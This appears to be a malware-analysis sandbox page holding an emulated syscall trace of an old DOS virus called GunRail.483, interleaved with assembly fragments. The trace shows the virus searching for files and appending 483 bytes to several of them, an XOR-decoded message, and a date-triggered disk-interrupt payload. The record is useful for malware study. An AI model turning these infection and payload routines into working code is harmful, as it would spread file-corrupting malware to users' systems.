Sample viewer

vx.netlux.org/Virus.DOS.VCL.GunRail.483

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:41:30.730656055Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:41:30.73292151Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:41:30.737008096Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:41:30.739112187Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
2018-12-17T22:41:30.741692303Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:41:30.745128708Z 78 PC: 12b25 | Find first file
2018-12-17T22:41:30.751869889Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:30.761895689Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:30.772035334Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:30.773929742Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:30.790697304Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:30.794418103Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:30.80220063Z 62 PC: 12b80 | Close file
2018-12-17T22:41:30.822616075Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:30.831442793Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:30.839066983Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:30.846704638Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:30.84899013Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:30.858024318Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:30.860008044Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:30.86778972Z 62 PC: 12b80 | Close file
2018-12-17T22:41:30.876972968Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:30.881030138Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:30.889124371Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:30.896831276Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:30.898789384Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:30.902017797Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:30.905046445Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:30.908330153Z 62 PC: 12b80 | Close file
2018-12-17T22:41:30.916943471Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:30.932745229Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:30.939748063Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:30.949567977Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:30.952171907Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:30.960645752Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:30.962868257Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:30.971343555Z 62 PC: 12b80 | Close file
2018-12-17T22:41:30.980425162Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:30.983610996Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:30.993758816Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.0013804Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:31.003520059Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:31.009828247Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:31.012217374Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:31.019331226Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.03207435Z 42 PC: 12b95 | Get date 0x12b95: cmp dh, 0x11
0x12b98: jl 0x12bb9
0x12b9a: cmp dl, 8
0x12b9d: jl 0x12bb9
0x12b9f: mov ah, 0x19
0x12ba1: int 0x21
0x12ba3: mov cx, 0x25
0x12ba6: mov dx, 0
0x12ba9: lea bx, word ptr [bp + 0x16c]
0x12bad: push ds
0x12bae: pop es
0x12baf: mov byte ptr [bp + 0x275], 0x26
0x12bb4: int 0x19
0x12bb6: add sp, 2
0x12bb9: mov ah, 0x1a
0x12bbb: mov dx, 0x80
0x12bbe: int 0x21
0x12bc0: call 0x12bc3
0x12bc3: call 0x12bc6
0x12bc6: call 0x12bc9
2018-12-17T22:41:31.035111254Z 26 PC: 12bc0 | Set disk transfer address
2018-12-17T22:41:31.036665954Z 9 PC: 12be0 | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:41:31.049053911Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:41:31.051934481Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:41:31.053958573Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:41:31.055951897Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
2018-12-17T22:41:31.060738076Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:41:31.063687677Z 78 PC: 12b25 | Find first file
2018-12-17T22:41:31.070638181Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.078302916Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.082459924Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.08466209Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.088028754Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.095665337Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.101417591Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.103796739Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.107564786Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.119663631Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.122354274Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.125354809Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.128584105Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.135686414Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.139471283Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.141998039Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.145069177Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.154004439Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.157277207Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.159546518Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.162853189Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.170759038Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.177660501Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:31.179405618Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:31.183578445Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:31.185285923Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:31.1883088Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.197410495Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.200777929Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.207732882Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.215491214Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:31.217648927Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:31.226804964Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:31.228816341Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:31.236863426Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.245914466Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.249001814Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.25724178Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.264341445Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:31.266274516Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:31.270324262Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:31.272431099Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:31.275506535Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.284689953Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.288655471Z 61 PC: 12b35 | Open file (Filename = '')
2018-12-17T22:41:31.294366047Z 63 PC: 12b43 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:41:31.296659294Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:41:31.29870678Z 64 PC: 12b64 | Write file or device (Write 483 bytes on handle 5)
2018-12-17T22:41:31.302109301Z 66 PC: 12b6c | Move file pointer
2018-12-17T22:41:31.303642721Z 64 PC: 12b77 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:41:31.307807743Z 62 PC: 12b80 | Close file
2018-12-17T22:41:31.316101371Z 79 PC: 12b25 | Find next file
2018-12-17T22:41:31.319092278Z 59 PC: 12b8d | Change current directory
2018-12-17T22:41:31.32402897Z 42 PC: 12b95 | Get date 0x12b95: cmp dh, 0x11
0x12b98: jl 0x12bb9
0x12b9a: cmp dl, 8
0x12b9d: jl 0x12bb9
0x12b9f: mov ah, 0x19
0x12ba1: int 0x21
0x12ba3: mov cx, 0x25
0x12ba6: mov dx, 0
0x12ba9: lea bx, word ptr [bp + 0x16c]
0x12bad: push ds
0x12bae: pop es
0x12baf: mov byte ptr [bp + 0x275], 0x26
0x12bb4: int 0x19
0x12bb6: add sp, 2
0x12bb9: mov ah, 0x1a
0x12bbb: mov dx, 0x80
0x12bbe: int 0x21
0x12bc0: call 0x12bc3
0x12bc3: call 0x12bc6
0x12bc6: call 0x12bc9
2018-12-17T22:41:31.326585472Z 26 PC: 12bc0 | Set disk transfer address
2018-12-17T22:41:31.328302827Z 9 PC: 12be0 | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:41:31.338450437Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:41:31.33952763Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:41:31.340663043Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:41:31.342479053Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
2018-12-17T22:41:31.344273223Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12b0c
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12b0c
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:41:31.346358449Z 9 PC: 12aa5 | Display string (Could not find end pointer)